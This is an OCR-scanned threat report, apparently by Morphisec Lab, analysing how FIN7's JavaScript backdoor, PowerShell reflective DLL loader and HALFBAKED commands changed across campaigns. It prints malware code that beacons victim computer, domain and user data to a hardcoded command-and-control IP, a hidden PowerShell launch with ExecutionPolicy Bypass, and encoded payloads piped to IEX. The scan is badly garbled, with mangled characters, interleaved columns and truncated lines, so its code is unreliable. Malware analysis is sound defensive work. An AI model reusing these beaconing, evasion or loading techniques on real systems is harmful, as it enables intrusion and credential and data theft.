3Ze E for {(var i = 0; i € chrhrr.length; i++}) {
3Z7 E pos = alffut.index(f (chrarr[i]) ;

3Z8 E if{ pos 1= -1 ){

3259 resultirray.push{ alfIn.chardt(pos) };
3320 lelae]

331 regulthrray.push{ chrarr[i] };
332 - }

233 - 1

MORPHISEC LAB

*= The "alfOut" hardcoded variable is the substitution key that is modified with each campaign, notice also

that some of the URL parameters are seeded with the day of the attack ("com_pref"):

0% [Hwvar evalString = (function () {/*

10

11 try{

n2

n3 var £so = new RctiveXCbject ("Scripting.FileSystemCbject™);
14

15

1le

17 var wers = "3";

18

1s var uuid = "1";

20

21 var com pref = "eugenegarden0713";

22

23 var botsufx = "_uCescCgav";

24

25 var kkid = "155";

26

27 var alfIn = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456785";
28

29 var alfOut = "C2ZFyMUSPWan3hGLEtzAfSoNvDuYVgiKk5BElkdJdTplecqgE4CX0xbrIRmsTw]aS9QH" ;
30

31 var sepr = "%3EPR%";

32

33 var botId = cuid() + botSufx;

34

35 botId = vers + "-" + uuid + "-" + com pref + "-" + botId;
36

37 var urlirr = [];

38

g9 urlarr[0] = "http://104.232.34.36:80/cd";

40

41 urlArrfll = "htto://104.232.34.36:443/cd":

=  The hackers add additional information that is sent to the C&C. This breaks some IDS rules that are based

partially on the size of the packets or/and on the entropy.
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function compInfo(p){ |J 27 P
var result = '"; 28 function compInfo(){
var sh = new ActiveXCbject ("Wscript.Shell"); 23 var result = '';
result += "Computer name : " + sh.ExpandEnvironmentStrings( "%COMPUTEI] 30 var sh = new ActiveXCbject ("Wscript.Shell");
result += "Domain : " + sh.ExpandEnvironmentStrings( "%USERDCMATINS" ) 31 result += "Computer name : " + sh.ExpandEnvironmentStr
result += "User name : " + sh.ExpandEnvironmentStrings{ "%USERNAME®" | 32 result += "Domain : " + sh.ExpandEnvironmentStrings{ ™
result += "\n" + opnPthDoc(p) + "\n"; 33 result += "User name : " + sh.ExpandEnvironmentStrings
var WshProcEnv = sh.Environment ("Process"); 34 var WshProcEnv = sh.Environment ("Process");
result += "Processor architecture : " + WshProcEnv ("PROCESSOR_ARCHITE( 35 result += "Processor architecture : " + WshProcEnv("PR
result += "System architecture : " + WshProcEnv ("PROCESSOR_ARCHITEW64! 36 result += "System architecture : " + WshProcEnv("PROCE,
result += "Local Time Zone Cffset : " + getTiimeZone () + "\n"; 37 result += "Local Time Zone Cffset : " + getTiimeZone (
result += getOSinfol(); 38 result += getOSinfol();
return result; 35 return result;
} 40 1}
= More recent campaigns also added the support of proxies on the endpoint
50 result += getoSinfo(); 28 function compInfo(){
51 return result; 29 var result = '";
52 1 30 var sh = new ActiveXCbject ("Wscript.shell");
53 31 result += "Computer name : " + sh.ExpandEnvironmentStr.
54 function getProxy(){ 32 result += "Domain : " + sh.ExpandEnvirommentStrings( ™
55 var WshShell = new ActiveXChject ("WScript.Shell"); — 3E) result += "User name : " + sh.ExpandEnvironmentStrings g
56 34 var WshProcEnv = sh.Environment ("Process");
57 try | = 35 result += "Processor architecture : " + WshProcEnv("PR|
58 var ProxyEnable = WshShell.RegRead ("HRKEY_CURRENT_USER\\Softwars\\M: 36 result += "System architecture : " + WshProcEnv ("PROCE:
59 if (ProxyEnable == 1) { | 37 result += "Local Time Zone Offset : " + getTiimeZone (
60 var ProxyServer = WshShell.RegRead("HEEY CURRENT USER\\Softwar: 38 result += getoSinfo();
61 return ProxyServer; )3 return result;
62 lelse{ 40 1
63 return ""; 41
64 } 42  function downLeadUrl (metod,urlarr,url,val){
65 } catch (e) { 43 for (var 1=0; i<urlArr.length; i++) {
(13 return ""; 44 try {
1 45 var xmlServerHttp = new ActiveXObject ("Msxml2 .S
} 16 xmlServerBEttp.open(metod, urlarr[i] + url, fals
47 xmlServerHttp.setCption(2, 1305€);
function downLoadUrl (metod,urlarr,url,val){ 48 //xmlServerHttp.setTimeouts (0, 0, 0, 0);
for(var i=0; i<urlBrr.length; i++] [ 49 xmlServerHttp.setRequestHeader ("Content-Type",
72 try { 50 xmlServerHttp.setRequestHeader ("Charset", "utf-8
73 var xmlServerHttp = new ActiveXObject ("Msxml2.ServerXMLHTTE.6.! 51 xmlServerHttp.sstRequestHeader ("Connection”, "Ke:
74 xmlServerHttp.open(metod, urlRrr[i] + url, false); 52 xmlServerHttp.setRequestHeader ("Eeep-Alive", "30
75 var prox = getProxy(); 53 xmlServerHttp.send(val);
16 if( prox I= "My 54 while (xmlServerHttp.readyState != 4) |
xmlServerHttp.setProxy (2, prox, ""); 55 xmlServerHttp.waitForResponse (1000);
} 36 }

Again, we see that FIN7 constantly modifies its patterns. This keeps them a few steps ahead of defenders that
use pattern recognition on the network protocol. Eventually the attack will get through the network defenses to
the endpoint unless harsh steps — e.g. network isolation, full deep packet inspection, forced filtering, etc. - are
fully implemented. Such steps of course come at the price of business and operation disruption.
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Stage 5 - PowerShell — Reflective DLL Injection

The final component for this report is the PowerShell script that is extracted and executed from disk. This
component contains a Reflective loader for an embedded DLL directly into the process memory. The DLL and
the framework is covered in detail in the Cisco Talos -Morphisec co-authored post “FIN7 Group Uses JavaScript
and Stealer DLL Variant in New Attacks”.

This framework and DLL haven't changed through all of the FIN7 campaigns analyzed over the past couple of
months (the attack looked at in our June blog used a different PowerShell component — DNS message loader).

FIN7 added several obstacles to evade detection-based security solutions at this stage:

Mid-July

The PowerShell framework was first added to the campaign, mainly based on the PowerSploit reflective
injection, with the info stealer DLL embedded as a base64 string.

Some security solutions recognized the high similarity to the original PE reflective loader and flagged it as
suspicious as soon as the file is written to disk:

¥
L return [System.Convert] : :FromBased&4CharArray (5BytelArr, 0, 5Bytefrr.Length)
}

gx€4 and %86 in one function (choice is made up based on powershell process bitness)

Function TryElewIRDI
=
Param {
[Parameter (Position
[Parameter (Position
[Parameter(Position
[Parameter (Position
[Parameter (Fosition
)
§COMSTRANTS
$HASH KEY = 13
$BOOTSTRAP_MAX_LENGTH
$THREAD WAIT TIME = 2%
$CHILD PROC_TO KILL =
SDEBUG = 5False
$Funcs
EWin32Funce = WNew-{bject System.lbject
£
Function Get-Win3ZTypes
H {

', Mandatory = $True)] [string]l 5d11Url_x86,

. Mandatory 5True)] [string] $d11Url_x64,

., Mandatory ETrua)] [string] §funcHame,

. Mandatory fFalse)] [scriptblock] S$decFunc,
. Mandatory 5Falase)] [array] 5decParams

EWin32Types = New-Cbject System.Cbject

fDomain = [AppDlomain] ::CurrentDomain

fDynamicAssenbly = Mew-Chbject System.Reflection.lssemblyName (' Dynemichissembly')

SAssemblyBuilder = SDomain.Definelynamicisserbly ($0ynamicAssenbly, [System.Reflection.Emit.AssemblyBuilderRcocess]::Run)
fModuleBuilder = $AssemblyBuilder. DefineDynamicModule ('DynamicModule', $false)

SConstructorInfo = [System.Puntime.IntercpServices.Marshalksittribute] .GetConstructors() [0]

§Enum MagicType
4TypeBuilder = $ModuleBuilder.DefineEnum({ 'MagicType' 'Fublic', [UIntl&ll}

STypeBuilder.Defineliteral (' IMACE NT_ODTIONZ
STypeBuilder.Defineliteral (' IMACE NT OBTIONAL HD
EMagicType = $TypeBuilder.Createlype ()
5Win32Typea | Rdd-Member -MemberType NoteProperty —Name MagicType -Value SMagicType

', [UIntlé]l Oxl0k) | Cut-Null
', [UIntlel Ox20b) | Out-Null

FEEEREREREE STRUCT BEEEEEREEEE

Writing and executing the file from disk:

450
451 var £ = fso.OpenTextFile(p,2,1);
452
453 f.Write( b64dec(PS1Body) );:
454
455 f.close();
456
457
458
453 cmd = powershell pthpath + " -version 2.0 -NoP -Nonl -ExecutlionPolicy Bypass —WindowStyle Hidden -File "' + p + '""';
460
461 sh.Run(cmd, 0, false);
462
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August

In order to set higher barrier for the security solutions, the group added one more encoding level that is decoded
directly into memory of the process by using DeflateStream compression stream.

1 S0Rrr = @1}

z £ & |'6PLUSVEArgNxzLU71iyhCEusHNeCTMDIwd(0Y sRKCe s jquiEKS T1uj gioBImebpgi TTIUSc] tDEuldd1DSRASHS 550l 71 IqRMSn 51 NebSnQubHERBROX(0 620] RzH0 yxHFYFkKamphr 3bAnqquii s3C1nel KRUAKuyEME 1K/ 5
3 £ 9 | '1I7XSDuEMhrBmSEF6noAwIEX2 2zEnLzS7RENNULLLIKI0Txt4CkE83YpzsrbehDrUbhuYzofBAnHZBTwdIULNZyKavRWYOa6++vlLpVSiB2z2CZMrNQer OWE3mV42 /BoYxKC1 2 PLrHVSNHE ] sGIXbhI j akD6/ nOPSvuSAKL
e £ 4 | 'QCKAkJxUZSLQg4Vh1Vo+gelsJGZgdTHVWRT ] ksppZDBQThIXk+0BEQSbFormsiel SmRdvR/ Qo2 PtgbJEWTYAcal smt YHUng 7 FEkovIGTrefQBHENL Y JSDEnSb4TCHRNFG1 PNZ IeDDl whwgsqFoMy 7 621 XhnXSHKQvOBCJo
5 £ 7 | 'ho§3I0EVeFZrZETNhnRCEDPYHbyCB2qVwLOcP1EI0VYEJAT bW D+ooSdleULHS3Ke o0y m? sBHRU2I 6Dd jussnVE T stheat 2 uLYYVUZt giO+ByXHEXVQEUs0JB=d ZBAyb+eFYaKkesKD2qQVEXBDICEMU4 Y 2vE i TRMAKT
& £ 3 |'299e5IChbvxdsdydoTapv¥qsz]isgKsEvhdnuBEpIP] 2Rw0+b] 34meuv/Sy4PY¥aZuy/ I/ SmIP/ 4 TECZPs31vxT 23pVmy/ DS ENS kd¥YhM4 y2bN4 cxT 1naGl Le0ZMxHVT FRYVi SHO 67 r1NTRg+3PbA+HNCYRB I PCS 5 SgEwvvHz 1Ay
7 £ 1 |'7Llrd+JKsib8vEaF7941U3ZnVEHEcEuftddTuNSBRBhkEe? rVSEqIAi FASMN] 2/ TvEwTj A8 ZVxuKe 3Wema SWyDUL REXFS T JTFCT/ELoz B2BMy swmdN JBE Je/ / yWE/ 20zMKe Tv2 S 2 D+/v+/edE InuNFm5S 3342+ JSKAE3 Rt}
8 £ 8 |'PI4bGIbFuxttEmoxhMoxPGUwbEDal FNyc0FQRArFSWYATqZ 3riOwV0 7DNVIME THENgPXc0mr Nghm fKE 1 £ TvL6WoLymbDuJGTNCozVef steF8 JDvl qp¥boNnRdspYa3Fzvi0Fmb0R6Go THIod T HnHpXH / 1 ybVY aCEGObEOR:
9 § 2 | 'UetNKzP3yZsvQvdxzWES+y+mmqCoz +Aw7Ev] odnMatPyE1nAl dmhbOgv4LaSFvaMzi/ 1 7B £gTksMSwEIND/ 919b+BuvTex/ J3WZe +uSH1 SnrxDpl 3pHdIqi 8725 £3ub0tUhyep/ SuUS2e TLeQENz9+KS sP1I9E25 1 53R5
10 £ 5 | 'LMgAkXZqK4pMsaSWVRDTABrJSpZeQedlRHZ ¥oyHyoSvelLIUCOPaiurlagnW0QyaglhgiBig¥S£iR4D2nciKbazcHO0Ya9KEAGIPYqrilgThqa¥pY2CUZt6ZA6£Fi1A0s1 ks xnWQR1nkbDhTyVByz9JeqKgEKSENgUPL 1t ZK!
11 (ge $MyInvocation.MyCommand.Path | select-string -Pattern '(~# .*)' | &{§_ -replace '(~# ', '$0Rzr 2dd(' -replace ' \|', ',' -replace 's', '1;'} | 'I'E°X

12 SOFS = '

13 $EncodedCompreasedFile = [string] ($0Arr. CetEnumerator() | Sort-Object MName | %{§_.Valuel})

1a $DeflatedStream = New-Object IO.Compression.DeflateStream([IC.MemoryStream] [Convert]::FromBase&4String($EncodedCompressedFile), [I0.Compression.CompressionMode] : :Decomprass) ;

1s $UncompressedFileBytes = New-Cbject Byte[] {53125}

18 $DeflatedStream.Read (§UncompressedFileBytes, O, 5314%) | Cuc-Null

n7? ([Text.Encoding] : :23CII.CetString ($UncompressedFileBytes)) | "I'E°X

Following that, some security solutions created static scanning rules for PowerShell scripts that are written to
disk. These rules are matched against the base64 encoded string parts that represent the original PE reflective
loader script.

September

During the September campaign FIN7 tried to evade the previously created static rules by modifying the base64
string parts by increasing the length of each part and reducing the number of the string components, and
eventually rebuilding it in runtime. The group also abused the fact that it can increase the length of the string as
long as it extracts only a fixed number of bytes out of it (63149 bytes).

1 OArr = @{}

2 E 1 | '"TL1rd+JReib8vXE8F7541U3EnVOWeoEuftdd7uNSEEhkEe2rVSEqJAI FASMml z/ TvEwWTJAB ZVxuXe 3Wema 9WyDULRKXFSI ] JTFCJ/ELozP2HMgewmdNIB8Te/ /5
3 ¥ 3 | "x310gwgaRfjpjilbdbC30xVvI4Ul9GeEmac8rnHaYa64RSYXorxXpTMwEoOP4Y /RAdRiDVoG35yda4r 8ONQEpDs6rapoX+tXgvaQ931JyNGEfhiAbtiiut ¥XDH
4 ¥ 4 | "c+pShhpwiid@3wIncldVinPUFysKSdl2yRars2m4NPNESrbebtyZQvrdbkkVuqmrdrlca3lr3ue2p0BFruomEzGC932CgbY¥xWCOhheiCt1I0Z2Y5pa3G96WEMaDd
5 ¥ 5 | "vmbDuJGTNCozVcfstcF8IDvlgpYboNnRdsp¥a3Fzv30Fmb0QEGoTHIodIjWnHPpXW/ 1ybVYaCPGObEOQ2R/ kVE33QIXs9ZmoRs6EMLXEgs 1W2mQe sAPpSTS0aJs
3 ¥ 2 | "uEz0asF1RnXgFLBEv/y3/+USs0Le+Qxg9EuynREPJIyl/6F2PbvEPF/R/R4vO2FERKI+y6F1M/HBeD8pl/RIFAIPYe5HzH1FGVunl3+ghPHEBAWnynpewd Qr4mmsa
7 (g SMyInvocation.MyCommand.Path | selesct-string -Pattern " (% .*)" | %{§ -replace ' ("% ', "SChrr.ndd(' -replace ' “|', ',' -=x
8 SOFS = ' B

9 $EncodedCompressedFile = [string] ($0Arr.GetEnumsrator() | Sort-Cbject Name | %{§_.Value})

10 S$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream] [Convert]::FromBaset43tring ($EncodedCompressedFile), [
11 SUncompressedFileBytes = New—Cbject Byte[] (62

12 $DeflatedStream.Read($UncompressedFileBytes, | Cut-Null

13 ([Text.Encoding] : :ASCII.GetString ($UncompressedFileBytes)) | "I'E'X

October

Sometimes reducing complexity is beneficial. During the October campaign the FIN7 group removed the
comments obstacle and flattened the strings to a single string that, when decompressed, results in the original
stealer DLL.

EmmmammmmwmawmmmNMMmamwmwjmmaEwmmmmmmm
1 SEncodedCompressedFile = @'

2 |?11rd+JKsi;: BvKEFT941U3ZnVQWeoEuftdd7TuNSEBhkEe2 rVSEqQJRAIFASMm]l z/ TvEwWJIjREZVxuXe 3Wema SWyDULRKXFSIjJTFCJ/ELozP2HN
3 @

4 SDeflatedStream = New—Cbject I0.Compressicon.DeflateStream([IC.MemoryStream] [Convert]::FromBaseg45tring (5Encc
5 SUncompressedFileBytes = New-Chject Byte[] (52

é SDeflatedStream.Read ($UncompressedFileBytes, 0, £214% | cut-Null

([Text.Encoding] : :ASCII.GetString ($UncompressedFileBytes)) | IEX
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HALFBAKED BACKDOOR

PowerShell is only a single backdoor command that is part of the HALFBAKED malware delivered by the FIN7
attack. Additional backdoor commmands are described in this FireEye blog.

In the October campaign a new command - "getNK2" - was introduced. This command enables the exfiltration of
information from the Outlook client (for more see ICEBRG research).

E unlock emd JI = group-order if |.3| =] group-orderstf 2113136¢ £3| = group-ordertf_211316¢ E3 |

266 BY = BY.replace ("%b&43Str%™, BX);
267 } else if (CL == "getNE2") {

2¢H BY = RX(BY) ;

269 BY = BY.replace ("%r2Id%", CE);
270 BY = BY.replace ("%b64r2scri™, BO);
271 BY = BY.replace ("%b64535tr%™, BX);
272 } else if (CL = "ScreendSection") {
273 BY = "";

274 } else if (CL == "runvkz=") {

275 BY = R (BY) ;

276 BY = BY.replace ("%rZId%", CEK);
277 Bg = RX(BQ) ;

278 B = BQ.replace ("%VESEBody%"™, CHN);
275 BQ = BQ.replace ("%VBES.vbs%", CO) ;
280 B = BQ.replace ("%VESLrgs%", CP);
281 B = RR(BQ) ;

282 BY = BY.replace ("%bG64r2str:™, BQ);
283 BY = BY.replace ("%b&435tr%™, BX);
284 } elzse if (CL == "runex=") {

285 BY = RX(BY) ;

286 BY = BY.replace ("%r2Id%", CE);
287 BR = RX(ER) ;

288 BE = BR.replace ("%EXEBody%™, CHN);
2859 BR = BR.replace ("%EXE.e=xe%", CO);
230 BR = BR.replace ("%EXERrgs%", CP);
251 BE = RE(ER) ;

252 BY = BY.replace ("%b&d4rZstr:™, BR);
233 BY = BY.replace ("%b64S3tr%", BX);
254 } else if (CL = "runp=1") {

255 BY = R¥(BY) ;

2596 BY = BY.replace ("%r2Id%", CE);
257 BS = RX(EBS) ;

298 RS = R _.renlace ("5SS RAdAwE" 0 ONY -

CONCLUSIONS:

At the heart of FIN7's business model are constant upgrades of their attacks and evasion techniques to bypass
static, dynamic and behavior based solutions. As shown in this study, every campaign includes enough new
features to make them unknowable to these solutions.

And as security vendors scramble to catch up, FIN7 is already preparing its next attack.

The only answer to these kinds of constantly evolving threats is a security solution that does not require prior
knowledge about the attack to prevent it. Morphisec's breakthrough Moving Target Defense technology does
not rely on signatures, patterns, behaviors or classifications. Morphisec stopped all of these FIN7 attacks as
they emerged.
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